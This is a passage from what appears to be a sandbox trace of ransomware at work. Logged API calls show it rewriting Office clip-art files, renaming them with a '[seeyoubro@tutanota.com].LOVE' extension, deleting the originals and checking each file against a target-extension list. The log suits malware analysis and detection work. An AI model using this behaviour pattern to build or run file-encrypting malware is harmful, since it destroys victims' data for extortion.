(hObject=0x2f0) returned 1 [0208.242] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.242] SetEndOfFile (hFile=0x374) returned 1 [0208.242] CloseHandle (hObject=0x374) returned 1 [0208.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0208.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0208.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0208.243] lstrlenW (lpString=".doc") returned 4 [0208.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.243] lstrlenW (lpString=".docx") returned 5 [0208.243] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.243] lstrlenW (lpString=".pdf") returned 4 [0208.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.243] lstrlenW (lpString=".xls") returned 4 [0208.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.243] lstrlenW (lpString=".xlsx") returned 5 [0208.243] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.243] lstrlenW (lpString=".ppt") returned 4 [0208.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0208.243] lstrlenW (lpString=".zip") returned 4 [0208.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.243] lstrlenW (lpString=".rar") returned 4 [0208.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.243] lstrlenW (lpString=".bz2") returned 4 [0208.243] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.243] lstrlenW (lpString=".7z") returned 3 [0208.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0208.244] lstrlenW (lpString=".dbf") returned 4 [0208.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0208.244] lstrlenW (lpString=".1cd") returned 4 [0208.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0208.244] lstrlenW (lpString=".jpg") returned 4 [0208.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.249] GetLastError () returned 0x0 [0208.249] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x32b6, lpOverlapped=0x0) returned 1 [0208.292] WriteFile (in: hFile=0x2f0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x32c0, lpOverlapped=0x0) returned 1 [0208.293] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.293] WriteFile (in: hFile=0x2f0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.293] SetEndOfFile (hFile=0x2f0) returned 1 [0208.293] CloseHandle (hObject=0x2f0) returned 1 [0208.293] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.294] SetEndOfFile (hFile=0x374) returned 1 [0208.294] CloseHandle (hObject=0x374) returned 1 [0208.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.295] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0208.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0208.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0208.295] lstrlenW (lpString=".doc") returned 4 [0208.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.295] lstrlenW (lpString=".docx") returned 5 [0208.295] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.295] lstrlenW (lpString=".pdf") returned 4 [0208.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.295] lstrlenW (lpString=".xls") returned 4 [0208.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.296] lstrlenW (lpString=".xlsx") returned 5 [0208.296] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.296] lstrlenW (lpString=".ppt") returned 4 [0208.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0208.296] lstrlenW (lpString=".zip") returned 4 [0208.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.296] lstrlenW (lpString=".rar") returned 4 [0208.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.296] lstrlenW (lpString=".bz2") returned 4 [0208.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.296] lstrlenW (lpString=".7z") returned 3 [0208.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0208.296] lstrlenW (lpString=".dbf") returned 4 [0208.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0208.296] lstrlenW (lpString=".1cd") returned 4 [0208.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0208.296] lstrlenW (lpString=".jpg") returned 4 [0208.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.297] GetLastError () returned 0x0 [0208.297] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x4780, lpOverlapped=0x0) returned 1 [0208.307] WriteFile (in: hFile=0x2f0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x4790, lpOverlapped=0x0) returned 1 [0208.308] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.308] WriteFile (in: hFile=0x2f0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.309] SetEndOfFile (hFile=0x2f0) returned 1 [0208.309] CloseHandle (hObject=0x2f0) returned 1 [0208.309] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.309] SetEndOfFile (hFile=0x374) returned 1 [0208.310] CloseHandle (hObject=0x374) returned 1 [0208.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0208.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0208.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0208.311] lstrlenW (lpString=".doc") returned 4 [0208.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.311] lstrlenW (lpString=".docx") returned 5 [0208.311] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.311] lstrlenW (lpString=".pdf") returned 4 [0208.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.311] lstrlenW (lpString=".xls") returned 4 [0208.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.311] lstrlenW (lpString=".xlsx") returned 5 [0208.311] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.311] lstrlenW (lpString=".ppt") returned 4 [0208.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0208.311] lstrlenW (lpString=".zip") returned 4 [0208.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.311] lstrlenW (lpString=".rar") returned 4 [0208.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.311] lstrlenW (lpString=".bz2") returned 4 [0208.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.311] lstrlenW (lpString=".7z") returned 3 [0208.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0208.311] lstrlenW (lpString=".dbf") returned 4 [0208.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0208.312] lstrlenW (lpString=".1cd") returned 4 [0208.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0208.312] lstrlenW (lpString=".jpg") returned 4 [0208.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.312] GetLastError () returned 0x0 [0208.312] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x30e8, lpOverlapped=0x0) returned 1 [0208.328] WriteFile (in: hFile=0x2f0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x30f0, lpOverlapped=0x0) returned 1 [0208.329] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.329] WriteFile (in: hFile=0x2f0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.329] SetEndOfFile (hFile=0x2f0) returned 1 [0208.330] CloseHandle (hObject=0x2f0) returned 1 [0208.330] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.330] SetEndOfFile (hFile=0x374) returned 1 [0208.330] CloseHandle (hObject=0x374) returned 1 [0208.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0208.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0208.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0208.331] lstrlenW (lpString=".doc") returned 4 [0208.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.331] lstrlenW (lpString=".docx") returned 5 [0208.331] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.331] lstrlenW (lpString=".pdf") returned 4 [0208.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.331] lstrlenW (lpString=".xls") returned 4 [0208.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.331] lstrlenW (lpString=".xlsx") returned 5 [0208.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.331] lstrlenW (lpString=".ppt") returned 4 [0208.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0208.331] lstrlenW (lpString=".zip") returned 4 [0208.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.331] lstrlenW (lpString=".rar") returned 4 [0208.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.331] lstrlenW (lpString=".bz2") returned 4 [0208.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.332] lstrlenW (lpString=".7z") returned 3 [0208.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0208.332] lstrlenW (lpString=".dbf") returned 4 [0208.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0208.332] lstrlenW (lpString=".1cd") returned 4 [0208.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0208.332] lstrlenW (lpString=".jpg") returned 4 [0208.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.334] GetLastError () returned 0x0 [0208.334] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x3f4, lpOverlapped=0x0) returned 1 [0208.426] WriteFile (in: hFile=0x2f0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x400, lpOverlapped=0x0) returned 1 [0208.426] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.427] WriteFile (in: hFile=0x2f0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.427] SetEndOfFile (hFile=0x2f0) returned 1 [0208.427] CloseHandle (hObject=0x2f0) returned 1 [0208.427] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.427] SetEndOfFile (hFile=0x374) returned 1 [0208.427] CloseHandle (hObject=0x374) returned 1 [0208.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0208.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0208.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0208.428] lstrlenW (lpString=".doc") returned 4 [0208.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.428] lstrlenW (lpString=".docx") returned 5 [0208.428] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.428] lstrlenW (lpString=".pdf") returned 4 [0208.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.428] lstrlenW (lpString=".xls") returned 4 [0208.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.428] lstrlenW (lpString=".xlsx") returned 5 [0208.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.428] lstrlenW (lpString=".ppt") returned 4 [0208.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0208.429] lstrlenW (lpString=".zip") returned 4 [0208.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.429] lstrlenW (lpString=".rar") returned 4 [0208.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.429] lstrlenW (lpString=".bz2") returned 4 [0208.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.429] lstrlenW (lpString=".7z") returned 3 [0208.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0208.429] lstrlenW (lpString=".dbf") returned 4 [0208.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0208.429] lstrlenW (lpString=".1cd") returned 4 [0208.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0208.429] lstrlenW (lpString=".jpg") returned 4 [0208.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.441] GetLastError () returned 0x0 [0208.441] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x5b8, lpOverlapped=0x0) returned 1 [0208.475] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x5c0, lpOverlapped=0x0) returned 1 [0208.476] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.476] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.476] SetEndOfFile (hFile=0x374) returned 1 [0208.480] CloseHandle (hObject=0x374) returned 1 [0208.482] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.482] SetEndOfFile (hFile=0x348) returned 1 [0208.484] CloseHandle (hObject=0x348) returned 1 [0208.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0208.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0208.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0208.487] lstrlenW (lpString=".doc") returned 4 [0208.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.487] lstrlenW (lpString=".docx") returned 5 [0208.487] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.487] lstrlenW (lpString=".pdf") returned 4 [0208.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.487] lstrlenW (lpString=".xls") returned 4 [0208.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.487] lstrlenW (lpString=".xlsx") returned 5 [0208.487] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.487] lstrlenW (lpString=".ppt") returned 4 [0208.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0208.487] lstrlenW (lpString=".zip") returned 4 [0208.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.487] lstrlenW (lpString=".rar") returned 4 [0208.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.487] lstrlenW (lpString=".bz2") returned 4 [0208.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.487] lstrlenW (lpString=".7z") returned 3 [0208.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0208.487] lstrlenW (lpString=".dbf") returned 4 [0208.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0208.487] lstrlenW (lpString=".1cd") returned 4 [0208.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0208.487] lstrlenW (lpString=".jpg") returned 4 [0208.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.488] GetLastError () returned 0x0 [0208.488] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x386c, lpOverlapped=0x0) returned 1 [0208.505] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x3870, lpOverlapped=0x0) returned 1 [0208.506] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.507] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.507] SetEndOfFile (hFile=0x2d8) returned 1 [0208.507] CloseHandle (hObject=0x2d8) returned 1 [0208.507] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.507] SetEndOfFile (hFile=0x33c) returned 1 [0208.508] CloseHandle (hObject=0x33c) returned 1 [0208.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0208.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0208.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0208.509] lstrlenW (lpString=".doc") returned 4 [0208.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.509] lstrlenW (lpString=".docx") returned 5 [0208.509] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.509] lstrlenW (lpString=".pdf") returned 4 [0208.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.509] lstrlenW (lpString=".xls") returned 4 [0208.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.509] lstrlenW (lpString=".xlsx") returned 5 [0208.509] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.509] lstrlenW (lpString=".ppt") returned 4 [0208.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0208.509] 